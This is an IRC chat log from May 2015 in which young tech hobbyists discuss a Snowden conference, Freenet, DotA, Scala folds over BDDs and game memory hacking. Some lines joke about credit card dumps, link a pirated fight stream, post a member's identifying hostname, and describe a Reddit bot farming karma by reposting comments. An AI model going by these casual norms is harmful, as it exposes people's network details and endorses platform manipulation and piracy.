[2015-05-02T12:07:52-0400] <JacobEdelman> well
[2015-05-02T12:08:00-0400] <JacobEdelman> I happy
[2015-05-02T12:08:16-0400] <JacobEdelman> woooooooooooooooooo
[2015-05-02T12:08:31-0400] <JacobEdelman> and people clapped for his answer which they iddn't do for others
[2015-05-02T12:08:33-0400] <JacobEdelman> I happy
[2015-05-02T12:08:48-0400] <+awe> And you made everyone laugh by being a young'un.
[2015-05-02T12:08:58-0400] <LittleBobbyTables> Guys, why don't my CC dumps ever work
[2015-05-02T12:09:11-0400] <JacobEdelman> awe: well, I was confirming that I was young as they epxected
[2015-05-02T12:09:18-0400] <JacobEdelman> I cultivated the young look to a certain extent
[2015-05-02T12:09:26-0400] <JacobEdelman> aka, I shaved
[2015-05-02T12:09:40-0400] <+awe> You're a young faculty member for sure.
[2015-05-02T12:09:45-0400] <JacobEdelman> lol
[2015-05-02T12:09:51-0400] <JacobEdelman> wait, I thought he said family member
[2015-05-02T12:09:55-0400] <JacobEdelman> oh, that makes more sense
[2015-05-02T12:10:08-0400] <+awe> That's why everyone laughed.
[2015-05-02T12:10:11-0400] <JacobEdelman> yeah
[2015-05-02T12:10:12-0400] <+awe> You're a young faculty member. ;)
[2015-05-02T12:10:18-0400] <JacobEdelman> lol
[2015-05-02T12:11:15-0400] <LittleBobbyTables> watching this streamer
[2015-05-02T12:11:17-0400] <LittleBobbyTables> "Processor: Intel(R) Core(TM) i7-4870HQ CPU @ 2.50GHz (8 CPUs), ~2.5GHz"
[2015-05-02T12:12:54-0400] <+awe> You know, it's kind of funny because we do have solutions on the internet to hide the sources of messages.
[2015-05-02T12:13:17-0400] <+awe> Freenet is great, mang.
[2015-05-02T12:15:26-0400] <jwoglom> uh did the stream just die
[2015-05-02T12:15:30-0400] <+awe> No.
[2015-05-02T12:15:46-0400] <jwoglom> weird
[2015-05-02T12:15:57-0400] <jwoglom> it swapped to what looked like an info channel for a minute
[2015-05-02T12:15:57-0400] <+awe> Oh, yes, it just ended.
[2015-05-02T12:16:00-0400] <+awe> Yeah.
[2015-05-02T12:16:02-0400] <+awe> That's happening to me now.
[2015-05-02T12:16:17-0400] <jwoglom> and then it came back to everyone clapping as he was about to leave
[2015-05-02T12:16:47-0400] <LittleBobbyTables> You can't really hide the source of the message unless you can trust the middleman
[2015-05-02T12:17:29-0400] <+awe> JacobEdelman: If one in one million people are terrorists and they have a test that's 99% accurate for determining terrorists, they'll identify over 3m people falsely as terrorists.
[2015-05-02T12:17:45-0400] <+awe> LittleBobbyTables: no because the way Freenet works is that all requests are identical and passed along.
[2015-05-02T12:17:53-0400] <+awe> LittleBobbyTables: so, you can't actually know if the person asking you is asking for themselves or for someone else.
[2015-05-02T12:20:18-0400] <+awe> And you're not actually asking for whole websites, you're asking for this one little packet in a hashtable.
[2015-05-02T12:32:20-0400] <LittleBobbyTables> https://youtu.be/HA0qrJRuujE?t=653
[2015-05-02T12:32:22-0400] <LittleBobbyTables> context:
[2015-05-02T12:33:00-0400] <LittleBobbyTables> DotA got a new patch and introduced items. The item in the top right of his inventory (bottom right of screen) is called a Lotus Orb, and it places a buff on you that reflects all spells back to the caster
[2015-05-02T12:33:23-0400] <LittleBobbyTables> So if you get have it on you and get stunned, you'll "cast" that stun back at the person who casted it
[2015-05-02T12:33:29-0400] <kenzierocks> soooo a better version of the linkens?
[2015-05-02T12:34:33-0400] <LittleBobbyTables> Kind of
[2015-05-02T12:34:54-0400] <LittleBobbyTables> Linken's makes sure the spell doesn't get cast on you at all, but doesn't need to be placed on you
[2015-05-02T12:35:36-0400] <LittleBobbyTables> It's the difference between one really good spell (Doom) not being cast on you vs a lot of small ok-ish spells (single target stuns) being cast on someone
[2015-05-02T13:18:25-0400] <JacobEdelman> It takes 4 Facebook likes to figure out if you are straight or gay
[2015-05-02T13:19:33-0400] <jwoglom> like whether someone likes pro LGBT pages or stuff? or no
[2015-05-02T14:21:52-0400] <LittleBobbyTables> https://gist.github.com/0xabad1dea/633a7ff7f561263bba34
[2015-05-02T14:33:55-0400] Mode is +nrt
[2015-05-02T14:34:10-0400] <+awe> JacobEdelman: that's not surprising.
[2015-05-02T14:34:36-0400] <+awe> JacobEdelman: how high's the accuracy?
[2015-05-02T14:35:16-0400] <JacobEdelman> Awe: no idea
[2015-05-02T14:37:58-0400] <JacobEdelman> jwoglom: I think its based off 4 arbitary likes
[2015-05-02T14:38:04-0400] <JacobEdelman> awe: but I'm guessing its reasonably high
[2015-05-02T14:38:42-0400] <+awe> JacobEdelman: it only needs to be better than randomly guessing in order for it to be noteworthy. ;)
[2015-05-02T14:38:54-0400] <LittleBobbyTables> z3t: http://cricfree.tv/watch/live/manny-pacquiao-vs-floyd-mayweather-jr-live-streaming
[2015-05-02T14:39:07-0400] <LittleBobbyTables> z3t: not sure if it's accurate, but there you go.
[2015-05-02T14:41:52-0400] <JacobEdelman> LittleBobbyTables: that sever thing
[2015-05-02T14:41:53-0400] <JacobEdelman> is awesome
[2015-05-02T14:42:00-0400] <JacobEdelman> such security
[2015-05-02T14:42:02-0400] <JacobEdelman> much wow
[2015-05-02T14:42:03-0400] <LittleBobbyTables> Right?
[2015-05-02T14:42:19-0400] <LittleBobbyTables> I get to increase my internet speed from 3Mb/s to 30Mb/s
[2015-05-02T14:42:20-0400] <JacobEdelman> I have hate followed one kickstarter thing called J.A.E.S.A. for a while
[2015-05-02T14:42:28-0400] <LittleBobbyTables> AND it was 10TB for flash for only 200 dollarsa!
[2015-05-02T14:42:39-0400] <JacobEdelman> https://www.kickstarter.com/projects/181239886/jaesa/description
[2015-05-02T14:43:15-0400] <LittleBobbyTables> JacobEdelman: tldr
[2015-05-02T14:43:27-0400] <JacobEdelman> "Feel free to discuss anything with her - whether it is a sophisticated scientific discussion or a simple chit-chat, we did our best to make sure that she will be able to talk to you just like another human would"
[2015-05-02T14:43:32-0400] <JacobEdelman> (her = an AI)
[2015-05-02T14:43:50-0400] <JacobEdelman> cause, chit-chat is easy and simple where as the sophsiticaed science is hard :P
[2015-05-02T14:44:00-0400] <JacobEdelman> "We are using neuro-linguistic approach to programming and cutting-edge technology, such as machine learning algorithms, CRF++ and advanced AIML processing similar to A.L.I.C.E for offline communication to bring a futuristic Artificial Intelligence vision to life."
[2015-05-02T14:44:15-0400] <+awe> "Third, "port congestion"? Is this a problem you think you have? Is port 80 clogged? Pour some draino in there."
[2015-05-02T14:44:16-0400] <+awe> lol
[2015-05-02T14:44:37-0400] <JacobEdelman> lol
[2015-05-02T14:45:14-0400] <JacobEdelman> LittleBobbyTables: and it gott funded
[2015-05-02T14:45:17-0400] <JacobEdelman> over 60k
[2015-05-02T14:45:29-0400] <LittleBobbyTables> JacobEdelman: think about it though
[2015-05-02T14:45:43-0400] <LittleBobbyTables> When you pay for some 100Mbs internet
[2015-05-02T14:45:46-0400] <LittleBobbyTables> And you have sever
[2015-05-02T14:45:51-0400] <LittleBobbyTables> You're pretty much getting fiber!
[2015-05-02T14:46:03-0400] <JacobEdelman> lol
[2015-05-02T14:46:12-0400] <JacobEdelman> LittleBobbyTables: but jaesa is basicly a self aware ai
[2015-05-02T14:46:17-0400] <JacobEdelman> with customizable everything
[2015-05-02T14:46:23-0400] <JacobEdelman> and it can work without the internet
[2015-05-02T14:46:27-0400] <JacobEdelman> and guess what
[2015-05-02T14:46:32-0400] <LittleBobbyTables> Can I customize her to sex me
[2015-05-02T14:46:33-0400] <JacobEdelman> they actually delivered a product it seems
[2015-05-02T14:46:36-0400] <JacobEdelman> a horrendous product
[2015-05-02T14:46:41-0400] <JacobEdelman> that didn't work really at all
[2015-05-02T14:46:46-0400] <JacobEdelman> but they actually went through the effort
[2015-05-02T14:46:51-0400] <JacobEdelman> of make a chat bot and such
[2015-05-02T14:46:56-0400] <JacobEdelman> instead of just running with the money
[2015-05-02T14:46:59-0400] <LittleBobbyTables> Anyone say anything about it?
[2015-05-02T14:47:08-0400] <JacobEdelman> https://www.kickstarter.com/projects/181239886/jaesa/comments
[2015-05-02T14:47:10-0400] <JacobEdelman> those are comments
[2015-05-02T14:48:38-0400] <JacobEdelman> https://www.irccloud.com/pastebin/7tckmNxw
[2015-05-02T14:48:49-0400] <JacobEdelman> ^ thats cause it is a chat bot that
[2015-05-02T14:48:51-0400] <LittleBobbyTables> lel
[2015-05-02T14:48:56-0400] <JacobEdelman> *that's been reskinned
[2015-05-02T14:49:19-0400] <JacobEdelman> and people are still defending them
[2015-05-02T14:49:22-0400] <JacobEdelman> https://www.irccloud.com/pastebin/Pt3glCPr
[2015-05-02T14:50:02-0400] <LittleBobbyTables> lel
[2015-05-02T15:00:01-0400] <LittleBobbyTables> I want a clc
[2015-05-02T15:00:05-0400] <LittleBobbyTables> but I don't want to pay for it
[2015-05-02T15:25:13-0400] <+awe> LittleBobbyTables: lol, so, there's these cheap $10 radios you can buy from China that are wide-band.
[2015-05-02T15:25:20-0400] <+awe> LittleBobbyTables: you can listen on telephone frequencies...
[2015-05-02T15:37:04-0400] <+awe> I'm watching a video of 0xabad1dea using said radio at DefCon to listen to her computer screen leaking information.
[2015-05-02T15:45:43-0400] <z3t> so I finished my reddit bot last night, left it running overnight: 2 months of gold and 1k comment karma when I wake up...all it does is repost comments :P
[2015-05-02T15:45:57-0400] <jwoglom> z3t: oh damn, lol
[2015-05-02T15:45:58-0400] <+awe> z3t: wow, that's seriously impressive.
[2015-05-02T15:46:02-0400] <jwoglom> reddit has gotten pretty shitty
[2015-05-02T15:46:17-0400] <jwoglom> if you post soon enough on /rising then you'll get upvoted to the top
[2015-05-02T15:46:48-0400] <z3t> Yeah someone needs to make a good alternative that fixes everything...
[2015-05-02T15:47:43-0400] <+awe> If you need to have a private conversation, put all of your tech in a microwave oven.
[2015-05-02T15:48:05-0400] <jwoglom> all of the good subreddits have become crappy now that they're all so popular
[2015-05-02T15:50:37-0400] <z3t> /r/BlackPeopleTwitter used to be pretty high quality until it got popular. Now a majority of the posts suck :/
[2015-05-02T16:04:51-0400] <678AACH70> z3t: how does it work
[2015-05-02T16:04:56-0400] <678AACH70> just reposting comments?
[2015-05-02T16:04:58-0400] <678AACH70> where?
[2015-05-02T16:05:00-0400] <678AACH70> from what?
[2015-05-02T16:05:02-0400] <+awe> Guys, do you know CGP Grey?
[2015-05-02T16:05:14-0400] <Hyper> awe: GCP Grey is the shit man
[2015-05-02T16:05:17-0400] <+awe> https://www.patreon.com/cgpgrey
[2015-05-02T16:05:24-0400] <+awe> He makes $14,000 per video.
[2015-05-02T16:05:50-0400] <Hyper> good
[2015-05-02T16:05:59-0400] <Hyper> he only uploads a video like every 2 months
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[2015-05-02T16:06:01-0400] <+awe> He averages one video per month.
[2015-05-02T16:06:02-0400] <Hyper> and they're worth it
[2015-05-02T16:06:07-0400] <+awe> So, he makes $170,000/year.
[2015-05-02T16:06:07-0400] <678AACH70> whoa.
[2015-05-02T16:06:11-0400] <Hyper> I guess it's more often than it feels like
[2015-05-02T16:06:11-0400] <678AACH70> that's pretty good.
[2015-05-02T16:06:28-0400] <Hyper> He also makes a podcast which doesn't earn him money
[2015-05-02T16:06:28-0400] <+awe> He sometimes doesn't meet his schedule, but in general, it's supposed to be a video per month.
[2015-05-02T16:06:33-0400] <Hyper> well there are sponsors
[2015-05-02T16:06:43-0400] <+awe> I'm really glad that he is excellently salaried.
[2015-05-02T16:06:53-0400] <Hyper> his vids are worth
[2015-05-02T16:09:06-0400] <+awe> That must be a pretty chill lifestyle though. You make one informational 5 minute video per month and get $14,000.
[2015-05-02T16:09:59-0400] <bob_twinkles> pretty sure he still does more than 40 hours of work a week though
[2015-05-02T16:10:18-0400] <+awe> For a five minute video?
[2015-05-02T16:10:58-0400] <+awe> He probably does a lot of other stuff because doing nothing all the time would suck.
[2015-05-02T16:11:22-0400] <+awe> But I doubt he spends 40 hours a week making the videos.
[2015-05-02T16:12:41-0400] <Hyper> awe: no
[2015-05-02T16:12:50-0400] <Hyper> he spends a FUCKTON of time on each video
[2015-05-02T16:12:55-0400] <Hyper> he talks about it a lot on his podcast
[2015-05-02T16:13:14-0400] <+awe> That sounds... rather surprising.
[2015-05-02T16:13:14-0400] <Hyper> like each video is something like 3 solid weeks of research and dozens of script drafts
[2015-05-02T16:13:34-0400] <Hyper> he is really obsessive about not saying something wrong
[2015-05-02T16:13:38-0400] <+awe> Fair enough.
[2015-05-02T16:15:37-0400] <z3t> 678AACH70: magic
[2015-05-02T16:18:35-0400] <678AACH70> z3t: k
[2015-05-02T16:19:16-0400] <678AACH70> awe: btw the reason behind non-numerical-starting nicks
[2015-05-02T16:19:23-0400] <678AACH70> is that on nick conflicts, people get changed to their entity id
[2015-05-02T16:19:26-0400] <678AACH70> which can start with a number
[2015-05-02T16:19:34-0400] <+awe> Ah, that makes sense.
[2015-05-02T16:19:36-0400] <678AACH70> and if there was a nick conflict after a nick conflict
[2015-05-02T16:19:38-0400] <678AACH70> well
[2015-05-02T16:19:40-0400] <678AACH70> yeah
[2015-05-02T16:19:53-0400] <LittleBobbyTables> z3t: y u no pm
[2015-05-02T16:20:09-0400] <678AACH70> are PMs broken again
[2015-05-02T16:20:19-0400] <+awe> PMs were never broken on the server.
[2015-05-02T16:20:19-0400] <LittleBobbyTables> no
[2015-05-02T16:20:21-0400] <+awe> It was my client.
[2015-05-02T16:20:22-0400] <LittleBobbyTables> he just didn't respond
[2015-05-02T16:20:40-0400] <+awe> There was a bug in their implementation of OTR that caused PMs not to work.
[2015-05-02T16:20:51-0400] <678AACH70> lol
[2015-05-02T16:20:58-0400] <678AACH70> i should get OTR set up at some point
[2015-05-02T16:22:09-0400] <z3t> 678AACH70: you pmed me?
[2015-05-02T16:24:19-0400] <LittleBobbyTables> I did
[2015-05-02T16:24:42-0400] <z3t> oh lol i read the wrong name
[2015-05-02T16:26:22-0400] <JacobEdelman> so, I just talked to the crypto/security guy for cloudfare
[2015-05-02T16:27:29-0400] <+awe> Oh yeah?
[2015-05-02T16:27:35-0400] <+awe> JacobEdelman: tell me about it?
[2015-05-02T16:27:36-0400] <JacobEdelman> also
[2015-05-02T16:27:46-0400] <JacobEdelman> the guys sitting directly in front of me is the one who designed otr
[2015-05-02T16:28:07-0400] <JacobEdelman> (which the cloudfar guy pointed out a bit ago, just coincedience that you guys were talking about it at the same time)
[2015-05-02T16:28:23-0400] <z3t> why were you talking to him JacobEdelman ?
[2015-05-02T16:28:32-0400] <JacobEdelman> I'm at a conference
[2015-05-02T16:28:35-0400] <JacobEdelman> wiht awesome people
[2015-05-02T16:28:39-0400] <JacobEdelman> I was asking him what he did
[2015-05-02T16:29:08-0400] <JacobEdelman> then I mentioned sponsoring hsctf (he said cloudfare really never sponsors things but he'd mention it to the people)
[2015-05-02T16:29:09-0400] <z3t> interesting, what conference?
[2015-05-02T16:29:18-0400] <JacobEdelman> https://citp.princeton.edu/event/snowden-2/
[2015-05-02T16:29:26-0400] <JacobEdelman> z3t: earlier, I asked snowden a question
[2015-05-02T16:29:33-0400] <LittleBobbyTables> Did you sex him
[2015-05-02T16:29:33-0400] <678AACH70> >cloudfar
[2015-05-02T16:29:36-0400] <678AACH70> ok
[2015-05-02T16:30:04-0400] <JacobEdelman> bart gellman is now talking
[2015-05-02T16:30:40-0400] <JacobEdelman> (he was one of the reporters that snowden gave the docs too) 
[2015-05-02T16:31:01-0400] <JacobEdelman> (so he actually knows what secret stuff is still hidden in the documents)
[2015-05-02T16:31:25-0400] <z3t> livestream: http://mediacentrallive.princeton.edu/
[2015-05-02T16:32:05-0400] <JacobEdelman> yup
[2015-05-02T16:35:51-0400] <z3t> I really should've added statistic collection to this bot...
[2015-05-02T16:41:50-0400] <JacobEdelman> bart gellman is really interesting
[2015-05-02T16:47:51-0400] <z3t> must not be since you're talking here instead of just listening
[2015-05-02T17:24:55-0400] <alokpathy> jwoglom: huehue we won the series :P
[2015-05-02T17:29:18-0400] <z3t> http://arstechnica.com/information-technology/2015/05/01/boeing-787-dreamliners-contain-a-potentially-catastrophic-software-bug/
[2015-05-02T17:29:27-0400] <z3t> integer overflow in an airplane
[2015-05-02T17:29:36-0400] <alokpathy> Lol yeah, saw that last night
[2015-05-02T17:33:22-0400] <assface> hue
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[2015-05-02T17:45:30-0400] <JacobEdelman> I talked to the otr guy
[2015-05-02T17:45:42-0400] <JacobEdelman> He's also the chairman for tor
[2015-05-02T18:13:51-0400] <678AACH70> otr == tor confirmed
[2015-05-02T19:36:16-0400] <+awe> bob_twinkles: writing a fold over a directed, acyclic graph should be trivial, right?
[2015-05-02T19:36:59-0400] <+awe> 678AACH70: for a while, I forgot that you were fwilson.
[2015-05-02T19:37:13-0400] <Tamini> oh, he is?
[2015-05-02T19:37:15-0400] <Tamini> when did this happen
[2015-05-02T19:37:26-0400] <bob_twinkles> should be? you'd have to document the traversal order since that's not *really* defined
[2015-05-02T19:37:26-0400] <+awe> Recently-ish?
[2015-05-02T19:38:03-0400] <LittleBobbyTables> You should kick him from pdgn just to make him name change :^)
[2015-05-02T19:38:04-0400] <+awe> Well, it's a bit more specific than a DAG.
[2015-05-02T19:38:12-0400] <+awe> LittleBobbyTables: I can just /sanick.
[2015-05-02T19:38:17-0400] <+awe> bob_twinkles: It's actually a BDD.
[2015-05-02T19:38:23-0400] <LittleBobbyTables> What's that even do
[2015-05-02T19:38:50-0400] <bob_twinkles> awe: so... binary tree?
[2015-05-02T19:38:53-0400] <jwoglom> [678AACH70] (affiliated@pool-108-18-144-186.washdc.fios.verizon.net)
[2015-05-02T19:38:57-0400] <jwoglom> yup, that's fwilson all right
[2015-05-02T19:39:05-0400] <LittleBobbyTables> oh look an ip
[2015-05-02T19:39:05-0400] <678AACH70> ello
[2015-05-02T19:39:06-0400] LittleBobbyTables is now known as ayyylmao
[2015-05-02T19:39:09-0400] <+awe> ayyylmao: that.
[2015-05-02T19:39:10-0400] 678AACH70 is now known as ayylmao
[2015-05-02T19:39:12-0400] <ayylmao> ayy lmao
[2015-05-02T19:39:15-0400] <ayyylmao> /nick LittleBobbyTables 
[2015-05-02T19:39:17-0400] ayylmao is now known as fwilson
[2015-05-02T19:39:18-0400] ayyylmao is now known as LittleBobbyTables
[2015-05-02T19:39:20-0400] <LittleBobbyTables> Kappa
[2015-05-02T19:39:22-0400] <fwilson> dank
[2015-05-02T19:39:24-0400] <fwilson> meme
[2015-05-02T19:39:26-0400] <+awe> bob_twinkles: n, it's a graph.
[2015-05-02T19:39:26-0400] <fwilson> ayyyyyyyy
[2015-05-02T19:39:29-0400] <jwoglom> lmao
[2015-05-02T19:39:32-0400] <LittleBobbyTables> nicememe.website
[2015-05-02T19:39:36-0400] <jwoglom> nice.meme
[2015-05-02T19:39:41-0400] <+awe> dankmeme.website
[2015-05-02T19:39:43-0400] <jwoglom> nicememe.enterprises
[2015-05-02T19:39:48-0400] <LittleBobbyTables> niceme.me
[2015-05-02T19:39:50-0400] <+awe> dankmeme.enterprises
[2015-05-02T19:39:52-0400] <jwoglom> memes.museum
[2015-05-02T19:39:56-0400] <fwilson> museum.memes
[2015-05-02T19:40:01-0400] <bob_twinkles> awe: in any case that pretty much just makes writting the fold even easier =P
[2015-05-02T19:40:03-0400] <jwoglom> memes.dank
[2015-05-02T19:40:05-0400] <LittleBobbyTables> memes.dank.io
[2015-05-02T19:40:08-0400] <fwilson> wheeeee, preregistered for economics and personal finance
[2015-05-02T19:40:16-0400] <LittleBobbyTables> jwoglom: stop stealing my idea
[2015-05-02T19:40:18-0400] <jwoglom> fwilson: cool, i'm doing that too :P
[2015-05-02T19:40:24-0400] <+awe> bob_twinkles: I should probably just write the signature and then I'll realize how to do it.
[2015-05-02T19:40:29-0400] <jwoglom> i'm actually already enrolled in a Bb course...
[2015-05-02T19:40:53-0400] <fwilson> lol
[2015-05-02T19:41:02-0400] <bob_twinkles> awe: yep =P
[2015-05-02T19:41:51-0400] <LittleBobbyTables> http://www.hackforums.net/showthread.php?tid=4789238
[2015-05-02T19:41:55-0400] <LittleBobbyTables> :^)
[2015-05-02T19:42:38-0400] <+awe> bob_twinkles: I guess it's fold :: (a -> b -> b) -> b -> Bdd -> b?
[2015-05-02T19:44:23-0400] <bob_twinkles> that's foldr, yeah
[2015-05-02T19:44:34-0400] <+awe> Or since it's Scala, def fold[B](acc: B)(op: (B, X) => B): B
[2015-05-02T19:44:36-0400] <bob_twinkles> there's also foldl (foldl :: (b -> a -> b) -> b -> Bdd -> b
[2015-05-02T19:44:54-0400] <bob_twinkles> I'll take your word for the second one =P
[2015-05-02T19:45:03-0400] <bob_twinkles> foldl (foldl :: (b -> a -> b) -> b -> Bdd a -> b -- actually
[2015-05-02T19:45:23-0400] <bob_twinkles> also foldl' which is strict in the accumulator, but that doesn't matter in scala because it isn't lasy
[2015-05-02T19:45:25-0400] <bob_twinkles> *lazy
[2015-05-02T19:45:34-0400] <bob_twinkles> wow fingers 10/10 there
[2015-05-02T19:46:03-0400] <+awe> Well, I guess what I just did was a foldl.
[2015-05-02T19:46:11-0400] <+awe> The ordering just isn't clear to me on a BDD.
[2015-05-02T19:47:59-0400] <bob_twinkles> that's because it's not well-defined
[2015-05-02T19:48:20-0400] <+awe> I know.
[2015-05-02T19:48:22-0400] <+awe> It confuses me.
[2015-05-02T19:48:31-0400] <bob_twinkles> lol
[2015-05-02T19:48:40-0400] <+awe> Even with the signature, I'm not entirely sure what to do.
[2015-05-02T19:52:31-0400] <+awe> bob_twinkles: I'm trying to write a fold so that I can print BDDs as predicates.
[2015-05-02T19:54:33-0400] <bob_twinkles> such as?
[2015-05-02T19:54:51-0400] <bob_twinkles> actually tell me later, I gotta go food in like 20 seconds =P
[2015-05-02T19:54:59-0400] <+awe> A && B || C
[2015-05-02T20:01:48-0400] <jwoglom> alokpathy: https://vine.co/v/e7xpDDwg56t
[2015-05-02T20:02:32-0400] <+awe> bob_twinkles: http://sprunge.us/HKGb?scala does this look good?
[2015-05-02T20:02:44-0400] <alokpathy> jwoglom: LOL
[2015-05-02T20:03:37-0400] <jwoglom> heh here's an original copy with audio https://www.facebook.com/GoPawSox/videos/10153234479169035/?theater
[2015-05-02T20:03:40-0400] <+awe> bob_twinkles: so, it basically calls fold on the low side of a branch with the accumulator as op(acc, x) and then uses the result of that whole thing as the accumulator for the fold call on the high side of a branch.
[2015-05-02T20:21:43-0400] <jwoglom> this is glorious https://www.youtube.com/watch?v=MzJ0CytAsec
[2015-05-02T20:47:06-0400] <LittleBobbyTables> How stupid can you be
[2015-05-02T20:47:07-0400] <LittleBobbyTables> what the fuck
[2015-05-02T20:52:30-0400] <kenzierocks> so i'm hacking in to railroad tycoon 3 today
[2015-05-02T20:52:33-0400] <kenzierocks> and uh
[2015-05-02T20:52:41-0400] <kenzierocks> apparently they store the money as an offset float
[2015-05-02T20:52:44-0400] <kenzierocks> like wtf
[2015-05-02T20:52:50-0400] <+awe> lol
[2015-05-02T20:53:30-0400] <LittleBobbyTables> How else would you get change?
[2015-05-02T20:53:34-0400] <LittleBobbyTables> Not as an int, duh
[2015-05-02T20:53:38-0400] <kenzierocks> no
[2015-05-02T20:53:44-0400] <kenzierocks> like it's offset from the memory
[2015-05-02T20:54:06-0400] <kenzierocks> see http://forum.cheatengine.org/viewtopic.php?p=5207127
[2015-05-02T20:55:04-0400] <LittleBobbyTables> whoosh
[2015-05-02T20:55:30-0400] <kenzierocks> im working with ida to figure it out
[2015-05-02T20:59:22-0400] <z3t> LittleBobbyTables: you find a stream
[2015-05-02T20:59:33-0400] <LittleBobbyTables> Looks like it
[2015-05-02T20:59:35-0400] <LittleBobbyTables> Not sure though
[2015-05-02T20:59:40-0400] <kenzierocks> wew
[2015-05-02T20:59:44-0400] <kenzierocks> this is sorta working
[2015-05-02T20:59:45-0400] <z3t> link pls
[2015-05-02T20:59:51-0400] <LittleBobbyTables> Scroll up a bunch
[2015-05-02T20:59:55-0400] <LittleBobbyTables> I pinged you in it
[2015-05-02T21:00:31-0400] <z3t> last ping I have from you is about pming you
[2015-05-02T21:00:57-0400] <z3t> was it before that
[2015-05-02T21:01:09-0400] <LittleBobbyTables> 18:39 <LittleBobbyTables> z3t: http://cricfree.tv/watch/live/manny-pacquiao-vs-floyd-mayweather-jr-live-streaming
[2015-05-02T21:01:09-0400] <LittleBobbyTables> 18:39 <LittleBobbyTables> z3t: not sure if it's accurate, but there you go.
[2015-05-02T21:02:05-0400] <z3t> yeah found it just a second ago
[2015-05-02T21:02:53-0400] <z3t> getting an insane amount of pauses though
[2015-05-02T21:03:57-0400] <LittleBobbyTables> Did it start
[2015-05-02T21:03:57-0400] <kenzierocks> look at this fun line
[2015-05-02T21:03:59-0400] <kenzierocks>     *(double *)((char *)ptr + 0x154) = (double)(signed int)(unsigned __int64)((double)(v8 * (signed int)v9) * 0.98)
[2015-05-02T21:03:59-0400] <kenzierocks>                                      + *(double *)((char *)ptr + 0x154);
[2015-05-02T21:04:03-0400] <LittleBobbyTables> odamn it did
[2015-05-02T21:06:36-0400] <z3t> probably not going to actually get to it for another 30 minutes
[2015-05-02T21:08:05-0400] <LittleBobbyTables> probably
[2015-05-02T21:08:09-0400] <LittleBobbyTables> ping me when it starts
[2015-05-02T21:09:50-0400] <bob_twinkles> awe: seems right to me
[2015-05-02T21:10:51-0400] <+awe> I'm not sure how to write this print function though. :p
[2015-05-02T21:13:35-0400] <z3t> some people are saying roughly an hour until it starts LittleBobbyTables 
[2015-05-02T21:13:54-0400] <LittleBobbyTables> hmm
[2015-05-02T21:14:33-0400] <z3t> looks like there's some pre-fight that's going on or something...
[2015-05-02T21:14:49-0400] <z3t> 2 random fighters
[2015-05-02T21:16:00-0400] <jwoglom> " So if this HBO-Showtime joint venture does well, and the respective boards of directors see a future in more of the same, watch out consumers of the pay-per-view product. The current price of $89.95 to $99.95 for this fight may seem cheap in the future. "
[2015-05-02T21:16:02-0400] <jwoglom> wat.
[2015-05-02T21:16:33-0400] <+awe> jwoglom: they might coordinate in the future which means price fixing,.
[2015-05-02T21:17:01-0400] <LittleBobbyTables> Everything is free to me
[2015-05-02T21:17:03-0400] <jwoglom> i'm still just wating at the fact that it could be like $90 to watch one sporting event digitally
[2015-05-02T21:17:10-0400] <LittleBobbyTables> Even things I have to pay for, it's never my money I use.
[2015-05-02T21:17:31-0400] <LittleBobbyTables> Well, except my computer.
[2015-05-02T21:17:36-0400] <LittleBobbyTables> I paid for that with my money.
[2015-05-02T21:36:26-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=MzJ0CytAsec
[2015-05-02T21:46:12-0400] <z3t> LittleBobbyTables: I turned off the stream cuz the internet in my house in this room sucks so I couldn't do anything else
[2015-05-02T21:46:45-0400] <LittleBobbyTables> I think it started, z3t 
[2015-05-02T21:47:00-0400] <LittleBobbyTables> wait jk
[2015-05-02T21:48:21-0400] <z3t> and lol at that video "press capital i"
[2015-05-02T21:48:45-0400] <Tamini> fwilson: i feel like #pdgn is sorta
[2015-05-02T21:48:49-0400] <Tamini> our version of expats
[2015-05-02T21:48:55-0400] <fwilson> heh
[2015-05-02T21:48:56-0400] <Tamini> because expats is mainly seniors tbh
[2015-05-02T21:49:01-0400] <fwilson> that's true
[2015-05-02T21:49:08-0400] <jwoglom> expats used to be less senior heavy
[2015-05-02T21:49:27-0400] <jwoglom> it's just that that's where michael and david and reed seem to talk now, lol
[2015-05-02T21:49:48-0400] <Tamini> we should totally make a variant of expats here
[2015-05-02T21:49:52-0400] <fwilson> isn't that #hs
[2015-05-02T21:49:53-0400] <Tamini> and it'll be super /super/ sekrit
[2015-05-02T21:49:54-0400] <jwoglom> #hs? 
[2015-05-02T21:50:01-0400] <Tamini> because it's not even on freenode
[2015-05-02T21:50:02-0400] <jwoglom> oh, then ##sekrit-hs?
[2015-05-02T21:50:12-0400] <Tamini> clearly
[2015-05-02T21:50:31-0400] <jwoglom> if it's got two pounds and a sekrit then that means no once can find it
[2015-05-02T21:50:57-0400] <fwilson> lol
[2015-05-02T21:51:03-0400] <fwilson> the czar bots aren't joining new channels
[2015-05-02T21:51:05-0400] <fwilson> this isn't good
[2015-05-02T21:51:17-0400] <jwoglom> wat you do fox
[2015-05-02T21:51:31-0400] <fwilson> idk
[2015-05-02T21:51:50-0400] <Tamini> do we really need them though
[2015-05-02T21:51:53-0400] <Tamini> dont we have chanserv now
[2015-05-02T21:52:06-0400] <kenzierocks> yea
[2015-05-02T21:52:11-0400] <kenzierocks> can we get botserv tho
[2015-05-02T21:52:18-0400] <fwilson> yeah i forgot the commands
[2015-05-02T21:52:20-0400] <fwilson> so
[2015-05-02T21:52:24-0400] <fwilson> Tamini: i just want to see how long they can hold ops
[2015-05-02T21:52:32-0400] <Tamini> lol okay okay
[2015-05-02T21:52:41-0400] <fwilson> probably forever?
[2015-05-02T21:52:43-0400] <fwilson> idk
[2015-05-02T21:52:53-0400] <jwoglom> fwilson: uh am i dumb or
[2015-05-02T21:52:57-0400] <jwoglom> is there no one in that channel
[2015-05-02T21:53:05-0400] <fwilson> jwoglom: there's nobody in that channel
[2015-05-02T21:53:17-0400] <jwoglom> but you did send the addchan command, no?
[2015-05-02T21:53:23-0400] <kenzierocks> /cs flags #channel modify <user> <flags?
[2015-05-02T21:53:32-0400] <kenzierocks> that's the cs syntax
[2015-05-02T21:53:40-0400] <jwoglom> oh you removed it immediately afterwords
[2015-05-02T21:53:44-0400] <jwoglom> i'm dumb
[2015-05-02T21:55:08-0400] <fwilson> dank
[2015-05-02T21:59:33-0400] <z3t> my bot is gaining a solid 100 karma an hour...
[2015-05-02T21:59:48-0400] <jwoglom> z3t: what's the username?
[2015-05-02T22:00:18-0400] <z3t> not 100% sure if what i'm doing is allowed so
[2015-05-02T22:00:27-0400] <z3t> not gonna give it out ;p
[2015-05-02T22:00:29-0400] <+awe> z3t: who cares? :p
